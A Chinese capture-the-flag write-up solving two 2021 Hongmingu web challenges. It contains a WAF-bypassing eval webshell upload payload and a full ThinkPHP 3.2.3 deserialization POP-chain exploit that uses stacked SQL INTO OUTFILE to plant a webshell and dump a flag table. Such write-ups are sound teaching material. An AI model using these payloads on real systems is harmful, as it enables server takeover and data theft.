红明谷CTF 2021 | BUU2021CTF复现

[红明谷CTF 2021]write_shell

<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
    if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
        // if(preg_match("/'| |_|=|php/",$input)){
        die('hacker!!!');
    }else{
        return $input;	
    }
}

function waf($input){
  if(is_array($input)){
      foreach($input as $key=>$output){
          $input[$key] = waf($output);
      }
  }else{
      $input = check($input);
  }
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
    mkdir($dir);
}
switch($_GET["action"] ?? "") {
    case 'pwd':
        echo $dir;
        break;
    case 'upload':
        $data = $_GET["data"] ?? "";
        waf($data);
        file_put_contents("$dir" . "index.php", $data);
}
?>

payload:

?action=upload&data=<?assert(urldecode("%25%36%35%25%37%36%25%36%31%25%36%63%25%32%38%25%32%34%25%35%66%25%34%37%25%34%35%25%35%34%25%35%62%25%33%30%25%35%64%25%32%39%25%33%62"))?>
?action=pwd
/sandbox/cc551ab005b2e60fbdc88de809b2c4b1/?0=system('cat /flllllll1112222222lag');

url编码传入到php内部已经被解码一次,所以我们需要两此编码,上面内容解码后为eval($_GET[0]);

短标签可以省略php
?>标签末尾的最后一个语句可以省略;

[红明谷CTF 2021]EasyTP

得出输入不存在的控制器得到版本

图片.png

TP3.2.3有两个漏洞:

日志泄露: Application/Runtime/Logs/Home/年份_月份_日期.log
SQL注入: Chain: __destruct()->destroy()->delete()->Driver::delete()->Driver::execute()->Driver::initConnect()->Driver::connect()->

扫描后台发现有源码www.zip, 在里面有反序列化入口:

图片.png

直接使用Poc

<?php
namespace Think\Db\Driver{
    use PDO;
    class Mysql{
        protected $options = array(
            PDO::MYSQL_ATTR_LOCAL_INFILE => true,   // 开启才能读取文件
            PDO::MYSQL_ATTR_MULTI_STATEMENTS => true    //把堆叠开了,以方便执行写入文件操作
        );
        protected $config = array(
            "debug"    => 1,
            "database" => "mysql",
            "hostname" => "127.0.0.1",
            "hostport" => "3306",
            "charset"  => "utf8",
            "username" => "root",
            "password" => "root"
        );
    }
}

namespace Think\Image\Driver{
    use Think\Session\Driver\Memcache;
    class Imagick{
        private $img;

        public function __construct(){
            $this->img = new Memcache();
        }
    }
}

namespace Think\Session\Driver{
    use Think\Model;
    class Memcache{
        protected $handle;

        public function __construct(){
            $this->handle = new Model();
        }
    }
}

namespace Think{
    use Think\Db\Driver\Mysql;
    class Model{
        protected $options   = array();
        protected $pk;
        protected $data = array();
        protected $db = null;

        public function __construct(){
            $this->db = new Mysql();
            $this->options['where'] = '';
            $this->pk = 'id';
            $this->data[$this->pk] = array(
                "table" => "mysql.user where 1=1;select '<?php eval(\$_GET[0]);?>' into outfile '/var/www/html/2.php';#",
                "where" => "1=1"
            );
        }
    }
}

namespace {
    echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}

然后就会得到后门/2.php?0=system($_POST[1]);

直接AntWord连接拿到权限, 但是flag不在根目录下, 只有一个flag.sh文件

#!/bin/sh
mysql -e "create table flag(flag varchar(256)); insert into flag values('$FLAG');" -uroot -proot test
export FLAG=flag_not_here
FLAG=flag_not_here

可见flag是在数据库的flag表里面, 但是我遇到个问题, 靶场docker里面的mysql没有开启同时我也开启不了所以也就无法进入查找数据库里面的数据, 想去直接访问/var/lib/mysql里面存放数据库数据的文件也无权限, 麻了,讲道理来说题目原本应该可以直接连接数据库才对的

不过问题不大, 后来想到可以直接在反序列化那里修改mysql执行语句

"table" => "mysql.user where 1=1;select flag from test.flag into outfile '/var/www/html/1';#",
得到flag在test.flag下
"table" => "mysql.user where 1=1;select table_schema,table_name,column_name from information_schema.columns where column_name='flag' into outfile '/var/www/html/2';#",
得到flag

图片.png